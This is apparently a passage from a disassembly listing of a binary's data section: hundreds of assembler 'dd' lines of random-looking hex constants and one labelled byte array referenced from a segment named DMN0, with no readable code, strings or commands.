		dd 6DDCBC20h, 6F7E7CA9h, 0D8DEBAF6h, 1DC3A439h,	5ABE68D6h
		dd 0CD6F4B11h, 87CD0BE8h, 61D5BC27h, 0D41ECF49h, 1510583Ch
		dd 6CDBCD5Dh, 9AE75363h
		dd 518EB4FAh, 6EB98B05h, 286ACEF4h, 4B9CD876h, 8C59F85Bh
		dd 0C354CAF4h, 1A61EC16h, 2109185Bh, 0D0D394BAh, 0D554EA14h
		dd 2872D124h, 94BB32C4h, 0FD7D36CEh, 0A5E548FFh, 1AD8433Fh
		dd 7C39003Bh, 5F13449h,	1684B5E5h, 1D799F5h, 838A96DCh
		dd 3DA8173h, 4329DB39h,	0E9BEE6EEh, 235BA42Bh, 0A37D62F3h
		dd 28F15AB0h, 3F12FA65h, 29A0D327h, 0D1FEA858h,	45D894Eh
		dd 1B0979F3h, 0F3E209BCh, 24E26D6Ah, 0FB45DCA8h, 0CB14E253h
		dd 7CB30D92h, 875D88Fh,	39DD23CBh, 0B35C3A7Fh, 70EACFABh
		dd 312AF26h, 0C59323DFh, 0AB8778E3h, 35CB4F0Fh,	0D6E0595Ah
		dd 0A9D96E40h, 0E1E4FA12h, 434DAD0h, 0BBBD4860h, 1A3FEE2Bh
		dd 17E911B6h, 70372AC2h, 0C8CC13C1h, 0F6A8B8FDh, 0A09D9231h
		dd 547125EFh, 9852ECA8h, 5F3FD125h, 0A2AC7B78h,	9F591FEAh
		dd 4FEFC900h, 3BC43EF0h, 0C6BE4DE6h, 20803F8h, 4F038BCAh
		dd 0F6085D41h, 0C9B0D4E9h, 0C285CC4Dh, 0A68DB117h, 0F4BA031h
		dd 46318623h, 5A7DE253h, 906628EFh, 0BF78937Ah,	166AB4DEh
		dd 0E5E78891h, 0E8960024h, 3747CB30h, 1183D477h, 786A9A42h
		dd 0AE0E1E4Fh, 0C7451294h, 2361F43Ch, 0B4FE4DB4h, 2DD9B8h
		dd 5CA7167Ah, 18B71FF0h, 11A50DB6h, 1DE2ABA9h, 1B46C9B8h
		dd 5D73C6Ah, 891469B1h,	0DAEFA913h, 71ACC94Ah, 7BCB364Ch
		dd 0DCE03963h, 0A8BF9DF3h, 0D030988Ah, 4FB8C1Ch, 4DCC897Bh
		dd 67556A54h, 1C59849h,	1E9F1F77h, 3627F1E0h, 0A36B8A23h
		dd 30EC15C7h, 6900982Dh, 82C0548Ch, 88B2F533h, 36748D47h
		dd 0F8740C68h, 0D6966C5Bh, 2DE0D9D7h, 111B5DA1h, 8E7A333Bh
		dd 4A7B7854h, 0CC4C2AF5h, 4B66DC76h, 881525A0h,	0DD7CE6E6h
		dd 859B1096h, 116F4F72h, 33A65223h, 0F0DCF651h,	1A3EF6E2h
		dd 2F442012h, 1F62A222h, 0F6E0027Eh, 1500EFB8h,	61FE7F7Ah
		dd 33DFFC5Bh, 0E112AAF2h, 79B72207h, 0B63E76F4h, 0FB7CD621h
		dd 0D117D3D2h, 678BE37Ah, 0E2986DB8h, 66875D25h, 604186C1h
		dd 2C1C9DA5h, 0EA58201Ah, 8C8127E5h, 0D37EFFC7h, 2B3CE4E0h
		dd 0ED1A9D30h, 9DE7799Eh, 6B829E71h, 0CCB20E11h, 1DBFD5E1h
		dd 0D1C71601h, 401EC4EAh, 4643A29Fh, 58ACCA25h,	0D7ACFA1Ah
		dd 0BEC3C55Fh, 0A482D23Dh, 0BFABF049h, 1231FC7Fh, 32A2E3B3h
		dd 0F7761565h, 9DA6EB00h, 9AEA8E6Eh, 0A78B67FEh, 6AA3F08Ch
		dd 0C9308605h, 0B454BE74h, 5B1CFEF2h, 3D1D352Dh, 1924310h
		dd 207A109h, 9309AD1Dh,	270533DAh, 0D125A0BCh, 62218D2Bh
		dd 5EA5258Ch, 26E53996h, 4D275A2Fh, 9A14B5E9h, 6F2ACBD7h
		dd 0F46E0BFBh, 76F2EDBDh, 0F8AE1162h, 0E5BEDCA5h, 24E32683h
		dd 25127DEFh, 89293846h, 606CD800h, 372EE064h, 320D8840h
		dd 4A86FE4Eh, 1CF7BC39h, 7BB8C80Bh, 9A04CF05h, 0BD8DC0BFh
		dd 0B0619085h, 9E5E3AC0h, 0FE5EBB38h, 8D3C6ABh,	0B0C5FAC7h
		dd 90088E5Ah, 543015DBh, 0CFB62CA3h, 0A0DE55C5h, 34E66FF3h
		dd 96C22ACFh, 56536F45h, 67AE9A09h, 15CF712Dh, 973854AEh
		dd 41DC3F78h, 83D698F5h, 7FC26ED3h, 79BDE8ADh, 0C39B1D4h
		dd 2C79E187h, 0CA2C68EEh, 0EF5EF8DAh, 431CF81Eh, 0A44284E9h
		dd 0BC43B5D3h, 80AA3BA0h, 6C3CD62Dh, 0D83FAA8Eh, 0B7447EFAh
		dd 4473C783h, 15FB1AE9h, 21E683F3h, 34F21579h, 7F07307Fh
		dd 0C102181h, 5BAE74E7h, 4BFF5D5Ch, 0BED4A03Bh,	8CDD044Dh
		dd 0E883B547h, 37D0EE8Bh, 171E955Ah, 35247BAh, 98E513D5h
		dd 74AA4794h, 2F83917Ch, 233679AAh, 0A19BF5B2h,	0CE961F2Ch
		dd 69593ED4h, 145143F3h, 6996F730h, 0A537E6D8h,	0E08F8EB0h
		dd 6E2A7CBDh, 2A45CB0Ch, 9242F7D6h, 38D052AFh, 3BA2BEDFh
		dd 0E64849h, 0C063E920h, 62E31A89h, 0EA664C66h,	5A561B3Eh
		dd 0F8731C43h, 5E232F47h, 2E73DC29h, 0E1C410BBh, 0F624A507h
		dd 0A490ABA5h, 0DB5F716Ah, 9C4587CEh, 9AC2FDDAh, 0A02DB4C2h
		dd 404BEE60h, 7F53C82Dh, 0D006E74h, 51119703h, 4D71B65Eh
		dd 0F4C8DFFAh, 3193ADD1h, 0F8550DFFh, 0E505910Bh, 0DFE3EA63h
		dd 0A07DED00h, 1133C0BBh, 3F0B4020h, 0D3EAF66h,	776C4D2Eh
		dd 0B6A25925h, 0F2B65C37h, 9AF89449h, 187FF41Bh, 0B1498EB8h
		dd 7DAAC87Ah, 0CDDCA1C0h, 587733B8h, 0A3CD5408h, 0D52C5FE5h
		dd 6D142310h, 0A4D51629h, 0A00DCB78h, 0FCE9A781h, 707A6C7Eh
		dd 0BB3B4432h, 4C7E6185h, 0F78323ECh, 738DDD3h,	0C8989E51h
		dd 0C307CC9Eh, 310706CFh, 84E54A23h, 0F994EA5h,	0CBBB69A3h
		dd 4D928F96h, 318B32EFh, 0A22D1B06h, 0C01F65A1h, 7A58AD4Ch
		dd 2C52F245h, 0D7E32154h, 0AAF2481h, 945CC2FCh,	43D37B3Dh
		dd 0A67ADCF2h, 36AE1357h, 139FDECh, 0F2EC59EDh,	0EF6F011Bh
		dd 111E7BCCh, 405C12A4h, 16B79067h, 0F9C480FBh,	0F465A2F6h
		dd 4539D031h, 0E7732EEh, 0C8464117h, 0C2EC724Fh, 1A99EA21h
		dd 0F2840BBFh, 46E22932h, 0E57D1376h, 57B61B36h, 0F23B0A47h
		dd 0AC30633Eh, 7DA98DC2h, 53189051h, 0D844D838h, 0D480C9D6h
		dd 0B77303CCh, 0E9E31455h, 0CB002F2h, 0D2EAD427h, 0D31AEDBh
		dd 5AED0A75h, 3D4D7473h, 754504ABh, 0A025F865h,	4B56C06Bh
		dd 2E83DC90h, 3B1FFE08h, 573F7244h, 0D17E8C5h, 0BD8847Eh
		dd 1464FE27h, 0D2C2E360h, 208DA716h, 38845BC5h,	0D3D9C460h
		dd 0D6030131h, 0ECB20098h, 1D6F1A6Bh, 0A2C81E17h, 6A15BB06h
		dd 0F1674DD8h, 2D21C1CEh, 0BD361A08h, 471E5034h, 0F1359608h
		dd 0AEBE9894h, 9CF87D91h, 0BFBB83C1h, 0BAEC2EF7h, 3F2872A6h
		dd 0D5181147h, 9443859Fh, 77F9C461h, 70CD1B97h,	2C46DE96h
		dd 84D3D1F5h, 8D5CF7FBh, 2A2586ECh, 1B19F3A6h, 237849D4h
		dd 13DF612Ch, 92CCF802h, 62215BFAh, 9834CB7Eh, 0CEC653D4h
		dd 12C64377h, 70B66B14h, 0A7EE00E0h, 0B6F099F0h, 1FD842F1h
		dd 783A85C9h, 0BDF21BBEh, 0F8881B4Fh, 677D9FDFh, 66DBB070h
		dd 0AA02DD72h, 6617BD87h, 9151747h, 8BFE3803h, 0F3F3412Bh
		dd 17CFAAAEh, 0F2FA96A8h, 18F32565h, 0F30A11E7h, 7406BF39h
		dd 2636EAB8h, 55CA4498h, 39AF521Eh, 1D01D940h, 6360A5F7h
		dd 0B33DE2C9h, 6A742909h, 0FF384873h, 0C9EB4B08h, 405DD32Fh
		dd 40FC798Fh, 0FB86E269h, 3FD93C83h, 0C361ACBBh, 7211EE50h
		dd 0E7517F76h, 3BAFE1BFh, 0ABECF175h, 76B12DAEh, 9A0252ACh
		dd 39DA0BF6h, 675AC1Dh,	47821D65h, 0A0C43690h, 19406EF7h
		dd 0DD01A255h, 0E8F0E486h, 267CB542h, 0E3C6D0CEh, 585514CEh
		dd 0DD02383Dh, 626D9324h, 8845DBC0h, 8AC7C04Fh,	0C1E55843h
		dd 69C3176h, 0ACA576CDh, 0C0CAFF09h, 0A53316BCh, 125DE540h
		dd 64DB3AD1h, 0F416900Eh, 0B7240235h, 0E5FA51C1h, 0FF553FADh
		dd 16669122h, 0B378E350h, 6783536Eh, 0C72BB77Ch, 85BBA17Fh
		dd 0C1729F86h, 19469A1Eh, 0A9670FF3h, 0CBB09D5Ch, 0E463A024h
		dd 55651C13h, 0D2F6FD7Dh, 0E9B1A423h, 46735E7Fh, 70638026h
		dd 0BE12DB83h, 0B83B2AE6h, 0DCEAF850h, 296F7B65h, 7780B741h
		dd 0F45C2404h, 0B2BE62Ah, 69E1391Dh, 489FB457h,	93EF76E1h
		dd 4206DDBDh, 4A386B7Dh, 6099D6D2h, 9C981FFh, 16F2E416h
		dd 77B91FB2h, 8308D83Eh, 0D5FE9912h, 0FD75D9E6h, 0A51DC0CEh
		dd 8151972Fh, 0EFE817A7h, 3F04C96Dh, 0DD70C2E4h, 3B340D4Dh
		dd 0D1066A8Ah, 3E498BAAh, 0C02B1A1Dh, 0A0DAA760h, 40EB8D44h
		dd 1D5EFDFAh, 8070BEB3h, 11136305h, 127A6823h, 117071C0h
		dd 0F772A16Fh, 0F04C5ADAh
		dd 0DB340C4Eh, 0F0591C8Ch, 6238D67h, 0A04C29B5h, 41CAE937h
		dd 0C71463E6h, 67AA423Ah, 0D0148E2Ah, 0B74D1C68h, 0F7C0578Dh
		dd 0ADEC6902h, 0A24D50EFh, 0D3E83005h, 0E66074B8h, 0DEA669F2h
		dd 0C61DB907h, 40F5CF32h, 0ACE7DB1h, 1A3F99D4h,	61501A54h
		dd 216A8E5Fh, 0F51E6CAEh, 0D71740ABh, 970418DBh, 8A996593h
		dd 0B50E3251h, 242C1639h, 71221659h, 91542B5Ch,	0C712241Eh
		dd 0B28CD5EAh, 0DF7C75A8h, 374BCA4h, 0BF85AF3Dh, 4F538C81h
		dd 774F034Ah, 0A2B2E98Bh, 1D4CDFF3h, 0F1DB376Eh, 0E6C104BFh
		dd 0AA2DB5Ah, 167D24E8h, 6CADE29Dh, 455723F6h, 0ADBA6C17h
		dd 41E9ABB5h, 489973BBh, 0AC8C3EB1h, 33BE6246h,	0A49D3853h
		dd 0A396B0Ah, 3D1658EFh, 1F9F0B42h, 0E0622CCCh,	756476D7h
		dd 934BD81Ch, 816EED6Bh, 0CABCD82Bh, 0E9373BE6h, 0A26CBAB4h
		dd 54058F25h, 2675E7h, 0E184E6F2h, 56016540h, 1259CE03h
		dd 5BAB00E3h, 5E982398h, 6072D8FFh, 5DB68E88h, 0AC85DE16h
		dd 54B5318Ch, 0DD6EF5FCh, 4DAD3B02h, 0F2E0814Dh, 5B5DA281h
		dd 2AE5042h, 2DA69EFBh,	1EC3A385h, 0B3EE7D66h, 0FD50236Ah
		dd 6F22F1DDh, 94B6CFECh, 80D489A5h, 0F9DCFC98h,	4F47F77h
		dd 48448DDFh, 4E821050h, 0E926BB6Eh, 0FCD62ABh,	39F79635h
		dd 4A4F0B64h, 0B7AEB1FAh, 3BE7EF76h, 4448951Bh,	0EA04BB50h
		dd 15F48A29h, 13A4E568h, 1A51FFE3h, 5ECCC057h, 62C6091Bh
		dd 7F219527h, 71E61D8Eh, 23FD3B13h, 6E0EF4BFh, 199F47C4h
		dd 701BEF7Ah, 59DF98A5h, 0BD17E665h, 0C17F213Fh, 37C5A41Eh
		dd 2311B763h, 9ADEA8A2h, 0CA2B9498h, 1E37583Ah,	78DFE19Ah
		dd 0AA097E34h, 0A5167CD2h, 2F89FA82h, 69AE1C72h, 237C3h
		dd 0D34AE68Ah, 0BE335E4Fh, 0D9B442B3h, 3EA86DA3h, 0D6C1DAA7h
		dd 0C5C1EB9h, 16A86DB4h, 0E62AB746h, 4615AE99h,	1BC0BB2Ah
		dd 661059Dh, 9FA04909h,	0D7F83E18h, 29329C34h, 0DE37278Fh
		dd 0F930D982h, 989B138h, 9E513AC9h, 308B6D1Ah, 6DC7C404h
		dd 11B0A31Ah, 0A493F3Ch, 0B9DD5ABCh, 0F5D890F5h, 5E187D95h
		dd 9EA5A309h, 0DBF9283Ch, 18847F7Eh, 57C1D63Fh,	5DBD8EA4h
		dd 0EFBBF10Ah, 0F69948D6h, 0F7AD68D8h, 0E20EFD64h, 0E334FAD8h
		dd 1B8B77D5h, 1B3E2D89h, 2256741Ah, 0A63FA469h,	910D75A8h
		dd 0EA94AD86h, 72FA17F5h, 0E631CEB8h, 0E2E13B64h, 22D36E1Eh
		dd 0DBFF883Fh, 41972A2Bh, 0FD78918Dh, 0D9A81DF7h, 6FDDEE1Dh
		dd 2AC39051h, 98396722h, 84746CDBh, 35DA5F44h, 1AC4A131h
		dd 0C0DB33h, 20BAC57h, 8A1751A7h, 89DFFEB0h, 4DDD8FF2h
		dd 10C6DE18h, 363E1E95h, 0E4CC690Eh, 729B8A9Bh,	157E5A37h
		dd 0EE5FF074h, 9C91E30Bh, 0DC8E82h, 0DEC60EEEh,	4FAD0B5Ah
		dd 6849FE4Ah, 5F2F4816h, 47187A0h, 6058934Eh, 7CCA879Ch
		dd 0C1ADA640h, 45BB9C5Ah, 7B968524h, 4C11ACC6h,	0A61E061Ch
		dd 0DB07666Bh, 7D4FFE93h, 906F72F1h, 9D00902Ch,	0DF909A56h
		dd 0C5679FD2h, 2ED68Ch,	0F5EA6D03h, 0DD45BC7Fh,	0A9FE0357h
		dd 57042F43h, 0BEAB4431h, 796DB1AEh, 0C84E0F4Ah, 4A89C263h
		dd 862B232Fh, 21A0C0CDh, 0F40965DAh, 0A316D84Ah, 0A3C247C0h
		dd 0CE76AF75h, 1C9A3B80h, 1585033h, 1A17C657h, 8661BB89h
		dd 575E2B6Eh, 0ED0E12B1h, 30C5BB3Eh, 78CAFC08h,	35FF992Dh
		dd 6007DDBBh, 0F26A2CABh, 0A6F329C1h, 1A2751Dh,	39598AAAh
		dd 6B001991h, 5A274276h, 0DAD39F49h, 3D8050F9h,	0D0C38836h
		dd 0C06462B4h, 0F5252A99h, 70D4B9A5h, 62FE1C7Fh, 0BCB9A17Fh
		dd 0E28FE8FEh, 0EB593F41h, 2EB53DEBh, 76ED2A61h, 0B86DDF27h
		dd 1888ED6Fh, 0BDB8BAD0h, 0CEC7DFD0h, 2093B53Ch, 0E07C3630h
		dd 0E3E97156h, 5F90698Eh, 0CD62156h, 0A2C44D0h,	0A8DCF302h
		dd 0B50135F7h, 0C35D517Ah, 4C88B3F4h, 70F0316Eh, 0F620EDE4h
		dd 0EBE0AB3Bh, 3BBE9F7Fh, 9368FC33h, 3876E79h, 8EBCA6C0h
		dd 0DA79F665h, 7DBFDD1Ah, 49A99135h, 0E8BE892Dh, 9B6F9AEh
		dd 66C6931Ah, 0F515B77Eh, 0C0513E8Eh, 13DA0C45h, 54872B79h
		dd 0B3D468E0h, 0BC24D3AAh, 0DB1A1EC2h, 719ECDB8h, 4D8F8AD0h
		dd 94822F8Dh, 52082F72h, 0A0937467h, 0FFC55B32h, 122EB260h
		dd 0DFA6C7C1h, 7E12BA71h, 0D1820891h, 38EDDE0Fh, 0C362133Dh
		dd 0D6483586h, 0D2A85734h, 9A7722CDh, 0F173E04Ch, 582E6295h
		dd 0AE2A3D73h, 0B2CCC2C3h, 389955A0h, 73B693F4h, 0CAA817DEh
		dd 61A3D393h, 3604F151h, 2BE20B7Dh, 8CC4EE64h, 0E63AEEF4h
		dd 5161C183h, 65321372h, 1BCC976Ch, 0DA83E915h,	0FDBF15E8h
		dd 0CA03C87Ah, 50EEFACh, 468FDDE8h, 37043DC7h, 632707E1h
		dd 5108E88Ch, 0FF015DEBh, 7919F36Eh, 0BA4D6C33h, 9A97B8B3h
		dd 5BADB21Bh, 3BDAC774h, 28D85D44h, 0DB939CDEh,	17F8B4AEh
		dd 0F30A779Ah, 65B27CD3h, 91F4A482h, 0F7C5642Ch, 640C447Eh
		dd 0A1332CA8h, 71536906h, 5DF480B5h, 9D166B08h,	29A98737h
		dd 82FBED83h, 663D00B1h, 5C5372F8h, 6BA499FEh, 508518B6h
		dd 0C9366D67h, 90993350h, 0B1C35287h, 54E7EEFAh, 0A1B3B5FFh
		dd 193F0C7Ch, 58BC7471h, 0D0409EA7h, 700C8D67h,	8CCA66DCh
		dd 97E7F88Ch, 61539A00h, 30830913h, 99DEBAB5h, 275E9533h
		dd 45C3B83Fh, 323AD6FFh, 44681959h, 0F859400Bh,	85C52448h
		dd 5E3B5385h, 0EC42E23h, 28D7ECAFh, 834D943h, 0DCA4FA0Eh
		dd 0B1DD7238h, 0EB244521h, 0F89516F1h, 0BF1B48D6h, 1224C6CBh
		dd 5422E48Ch, 4E1B49A9h, 0E3DE94ADh, 98E2248Bh,	0B5150D65h
		dd 48F3C6BFh, 109640D6h, 9BBEAD42h, 8E243ABCh, 4A9E657Ah
		dd 0F0F30DE7h, 9AF6EFF2h, 0A3FD0DF2h, 0E1044CE3h, 0FC0B138Ah
		dd 0AC625066h, 3A8EF94Ah, 70657F51h, 5EBA80ACh,	0BC06C63Ah
		dd 4A657482h, 9B8F79B3h, 0F641C9B4h, 88EF5CCCh,	82B9D47Bh
		dd 0CA70BE63h, 44739F33h, 0FCD221E2h, 0E38B73F7h, 995280B9h
		dd 66C0FF7Ah, 797095A0h, 6E90DC70h, 81E95B84h, 18AE46FAh
		dd 70F6C67Dh, 0E958A977h, 9A7B7D40h, 25AE4431h,	7D956CE8h
		dd 24DC3F9Fh, 0A3C9DB4Fh, 0D62C0FDCh, 0F1F77802h, 0A85AF37Ch
		dd 30B4D5EFh, 0F6CDAB17h, 2F6FC3DCh, 0B235D028h, 0D05EF8A5h
		dd 0FD9E2FE3h, 225615B2h, 993B7A44h, 0BACC5EE6h, 413A094Ah
		dd 48CA1373h, 95272837h, 0DF1CCC5Ah, 0A0090816h, 9966655Eh
		dd 5844D5F4h, 0CDFF15DFh, 7EBBD480h, 0A1D219CAh, 0D10A4A63h
		dd 0C005EF41h, 0E3F28F6Eh, 0B2D64B5Ch, 51DDAE8h, 0D1DE3972h
		dd 0A270BE9Eh, 1D10A4E6h, 30ACBAAFh, 4BF79692h,	27B07AD2h
		dd 0C24FB8B5h, 4A27CC8Ah, 0D32B5412h, 0A734FC63h, 78E030Ah
		dd 479D316Ah, 0A68674F3h, 2E6D5D04h, 79CC466Ch,	4A162F7Ch
		dd 47673EB7h, 98724584h, 0CC7766E4h, 2C5ACF1Ah,	0D67D33B2h
		dd 5F5D8C1Eh, 0C82952F7h, 0F34FA17Fh, 3DECDCCDh, 56E861D7h
		dd 4F4889F1h, 0B53E2362h, 8B099F88h, 1EB6F003h,	0E19D51ADh
		dd 1CA51BCAh, 8DE71DA6h, 0B676A1F2h, 6E5498C7h,	45F44D80h
		dd 732FDF7Dh, 0D3355874h, 40288DF6h, 0D8147A89h, 45D0563Bh
		dd 0CE47990Ah, 74E491Dh, 7A6CF4ADh, 5320BA5Bh, 441A1561h
		dd 63669FE0h, 54915E65h, 0A797CB6Bh, 110DD9B1h,	0A76A771Fh
		dd 97CDCFEDh, 49D46B7Ch, 813C8CF1h, 0A67978D5h,	0D9C96647h
		dd 9AA6DE71h, 0A08A43B9h, 0F326A42Ch, 30F6CDC9h, 0F38095A1h
		dd 0F9417AAh, 0A1FD8DC4h, 5B1E035Eh, 0CFC85C2Ah, 266F07F4h
		dd 8FE02DCAh, 1CBCA220h
		dd 92191C0h, 6EDADFDFh,	0E19D99C8h, 8DC6DA15h, 5895DC53h
		dd 0AA1AE274h, 0F330E8E3h, 8C97A94Ah, 0CEAFA196h, 66707922h
		dd 0F83E5DA0h, 0DF09CFB6h, 0DCECC63Ah, 0F7DA3907h, 9AAE0B49h
		dd 0BB4C3C08h, 6A321415h, 5FBF4DC9h, 5406E1Eh, 0C64CBA99h
		dd 778FBA7h, 0DBB52B50h, 0B0DBB06Bh, 764A099Eh,	3AF3D96Ah
		dd 0D68E5D32h, 3A5919B8h, 467C3F28h, 90139B07h,	43FBCD3h
		dd 1D88F81Ah, 0DC57EFCBh, 4D49C4FAh, 8F9A1FC8h,	0DF0A8163h
		dd 13B206E1h, 0CAB1DCD2h, 0A3984826h, 0B15A94A7h, 3974219h
		dd 0C269FB15h, 0D83F2D31h, 6AB1B867h, 0C32D32BEh, 2FCDCCDAh
		dd 201734A2h, 0F382B90Dh, 21C3092Dh, 0DA643052h, 14AB67C4h
		dd 8FB8BA44h, 8EBFF01Eh, 420939B3h, 6EF5AE73h, 90600B2Ch
		dd 16D26684h, 0A4AA4A1Bh, 0B328515Eh, 0BB9B882Eh, 0B098E24Ch
		dd 0C4DD9C80h, 0AFC6D113h, 6C0D1947h, 0CBB634F4h, 45C4E8F9h
		dd 5942E8E0h, 0E6E578h,	0AD776232h, 0D2EB86ABh,	0F00E860Bh
		dd 7FF45257h, 459AE0AAh, 4203CC6Ah, 7D8B31CDh, 0B1222BB7h
		dd 0DF6B2543h, 30B8EED5h, 43635533h, 37CCF99Bh,	6723160Ch
		dd 0A40627CEh, 0D7F78AE7h, 0D623EFDDh, 25357DD4h, 2C55E481h
		dd 0B2CC1AF2h, 0C1F20AE9h, 320CED92h, 26052629h, 63ACA852h
		dd 0FBB6B0C4h, 648B2FC2h, 0A37D13B1h, 0BB306DE8h, 0D06ECAC8h
		dd 2C23F473h, 8A7EF2CBh, 0ADF9AAF7h, 0B22E741Bh, 9F179AD6h
		dd 6CA37D0Fh, 0E6BB74CBh, 18C68013h, 0E37B3517h, 24880E71h
		dd 0D5E7D58Bh, 2229CFAFh, 4613C077h, 0B6314BCBh, 76179128h
		dd 604C5BD9h, 4E94697Ah, 9F228937h, 3D36001Dh, 9F1B50CEh
		dd 8F37409Ah, 0C89449F5h, 54DC71C6h, 772CAFCh, 0CE7BE3F2h
		dd 0EA559122h, 900EB9F2h, 50D85AD7h, 0B6135F9Eh, 8FF7BEFEh
		dd 0DA92E078h, 13BA9EE1h, 0DF3253EBh, 28D9F9DAh, 0C0AE6A8Ch
		dd 425E3BC0h, 0E2D11C7Ah, 0A3C6652h, 0A2F37DB9h, 0B32D640Bh
		dd 6D809DFCh, 0C64B9546h, 0E775D520h, 133AF7FBh, 5D6B3C15h
		dd 3C47A521h, 0C632B125h, 4DB91B4Ah, 0B6EB93D9h, 72F09D5Bh
		dd 5EDC2B0Ah, 2F030AA0h, 4BE61319h, 43664C03h, 87BE820Dh
		dd 0A207775Fh, 56980386h, 90233342h, 0EF1F0405h, 1482205Eh
		dd 4E4472BDh, 6950366Bh, 62CB9E37h, 0A2BF189Dh,	1B13E6A5h
		dd 0A4A432F6h, 0C1AC519Bh, 0BA5639C2h, 0CA159FFDh, 8D2D0427h
		dd 0D41491B4h, 73ABBDCCh, 0FB2E518Ah, 9F6F66D1h, 856D81D7h
		dd 26011B4Eh, 4FAE0175h, 48E01710h, 0B07CB5F9h,	5BE9876h
		dd 8BAC6048h, 912D365Fh, 2C5B255Dh, 3EBE36CFh, 62D7E7F4h
		dd 9039ED00h, 284B4B40h, 0A60FA28Eh, 665FAFC7h,	0B0389364h
		dd 0F608B3D2h, 0A6FB751h, 48AB3CDFh, 5E8B3C5Bh,	72DB6F8Dh
		dd 0FE703EA3h, 0A3042CE6h, 0FFAAEB02h, 0D74C9EDBh, 680019C9h
		dd 5D8048FEh, 532F900h,	4C421DF5h, 0AF0AEE61h, 7E456379h
		dd 0F5323690h, 0C69AB904h, 7464C262h, 22C1358Bh, 0AD08D776h
		dd 7B111F8Dh, 0C6C356D6h, 3152B0AEh, 892B87F1h,	62E2DF77h
		dd 0AD11F106h, 0A84AADACh, 7DF12EC3h, 7C8576FBh, 7E40E8ACh
		dd 0D62EFD0h, 0F39B2AA4h, 92DFDA3Eh, 43174AD9h,	51CBA999h
		dd 5D4BADFFh, 4E95035Bh, 2CD8721Fh, 0A608002Dh,	524CE6Bh
		dd 60D9D4EAh, 0D2B6EF63h, 0DCF8B5E6h, 4391EE66h, 11D96E54h
		dd 744B64E6h, 0F923E88Bh, 68D48A1h, 6417F324h, 0A84156E8h
		dd 6E075720h, 3866F06h,	3A42B37Ch, 1E6B4EC2h, 2F2C11DDh
		dd 5C8892BBh, 54FBED43h, 8F23F9EFh, 0B5A0C021h,	0A6C19086h
		dd 0BE432085h, 9D3CEEEAh, 7BD6F9D2h, 0E075D96Ah, 797AFB62h
		dd 7A0BA98Eh, 844B0BEAh, 0B69DBF44h, 80C42998h,	95D010B5h
		dd 79F5BC28h, 83374C1Bh, 0FAD2AC78h, 81A968E4h,	21D8E172h
		dd 0F16C4A0Fh, 1DDAAE8Bh, 858AD46Ah, 0A6EA1529h, 0CF524449h
		dd 0F3D83E6Eh, 0FBDD5B36h, 6CA58567h, 5B47959h,	2431AB30h
		dd 0D009AB65h, 0C886929Bh, 0E2FA417Eh, 53EE2077h, 0DB999E10h
		dd 81259838h, 0FE1FB3C8h, 26D93117h, 0DD990B21h, 0D82F5D1Eh
		dd 2CB7A0B6h, 6D86099Bh, 85A3B6FDh, 9893EAE2h, 0A609D9F2h
		dd 0BC6D185Eh, 962E0A79h, 0ABCA5B03h, 311064C0h, 9BD6134Eh
		dd 0EE9BB169h, 472D499Ah, 1A53596Fh, 80C4B915h,	0EE6F5F5Bh
		dd 0A85EA59h, 0C67FCC7Bh, 0CF59D7CEh, 77FD1A4Dh, 0ADD4D7DFh
		dd 72C4106Bh, 5D2368C7h, 0C016AF6Fh, 0E7CF3722h, 0AB5B0D23h
		dd 944EDC6Ah, 29BCDD1Ch, 9B20AE8h, 0EB81D338h, 0ABAF538Bh
		dd 0F716DCF3h, 704912ECh, 15F294A5h, 0E0FB4954h, 5229AD91h
		dd 50B98D28h, 49AE2FA0h, 0C8447910h, 524C3AF6h,	0BF82ACFCh
		dd 8233DD9h, 74CDB080h,	0C1113D1Eh, 0C35202E7h,	0E9E9B619h
		dd 70BC5424h, 2F4AA418h, 93830BDDh, 9E8819Eh, 18B9929Ch
		dd 81390CF1h, 0ACEFA53Eh, 48E6425Fh, 0F913135Eh, 75C61E37h
		dd 249C5475h, 108A7C4h,	0B0568138h, 0CD6D3E06h,	4AD03667h
		dd 157C625Bh, 0B5362E0h, 843C1B04h, 495513B5h, 1E8137B4h
		dd 4D067B6Eh, 0DC883064h, 47E46DC6h, 0D78DEC1Bh, 17C2D388h
		dd 8471AA8Eh, 674A8F5Bh, 0ECF8D0B0h, 9114C63h, 0E49CA254h
		dd 0AB2553EBh, 0BE69B5ACh, 0CD868601h, 0C10C9005h, 0C36A40A9h
		dd 0D905E871h, 2AA76065h, 46546B26h, 0B8B32BDDh, 0CED8A367h
		dd 77EC6B40h, 0C87CC09Ah, 6D1E7F8Ch, 3F611996h,	60E4931Fh
		dd 0BA1BDD16h, 0FA4389DBh, 9C70EF06h, 0E0B2885Ch, 0C1EBD5h
		dd 1217D21Bh, 1A7B74F3h, 0C1F56635h, 0D4D4142Ch, 548D1CE0h
		dd 0C2BD1805h, 0F9494C57h, 0EA92FFE8h, 0AF16A865h, 0E7E92691h
		dd 0E0AE6542h, 63AFD448h, 630713FBh, 0EA40285Fh, 0EF7965C7h
		dd 34F51EEFh, 5AC48A09h, 647946EDh, 0ECC1206Dh,	0DC0C7223h
		dd 0CBC088C2h, 0BA9C8200h, 15DFA7FDh, 0DCC9F50Dh, 8467310Fh
		dd 55C9C214h, 55CEAFD0h
		db 9
byte_464E49	db 9Eh,	29h, 27h	; DATA XREF: DMN0:off_410116o
		dd 4193DBF6h, 1C17E92Bh, 8C260716h, 3903B1EBh, 28D297C9h
		dd 7B21D4A5h, 5DA67B0Eh, 0DA5D98C0h, 7DBECE55h,	2E01362Bh
		dd 2B60B0D8h, 949CE7A2h, 0D99E3783h, 0B40876Ch,	0CD831006h
		dd 0CAB40D2Bh, 0FBCEF1EFh, 0EDD27A9Dh, 0EC8FF53Ah, 0FC3C290Dh
		dd 51101C0Bh, 71E0F3FBh, 5236250Fh, 290B92Eh, 480EBB6h
		dd 5DA4812Ch, 98C37ED4h, 0DC9268B8h, 6EDB2920h,	0E971BD82h
		dd 0BC290DDh, 5719DD79h, 7F792EAAh, 206F658Ah, 5438436Ah
		dd 0BF5A6ED1h, 547677F7h, 54A01F23h, 57291C84h,	39863B20h
		dd 1EDFD599h, 43E8A944h, 4E05911h, 37B537D7h, 1C7EA5E6h
		dd 9E887928h, 0DCCBE876h, 59818C48h, 0B7B43676h, 876AFB0Dh
		dd 55A74075h, 296D81E4h, 0C8EC68F4h, 0C061E8D4h, 6E6BF3D9h
		dd 7EDFBA07h, 0A46AEEBEh, 636C607Ah, 0D50505ACh, 841F2F6Dh
		dd 17BFEFEBh, 8E7A4DD5h, 791A5D4Bh, 0E6769191h,	734D78FEh
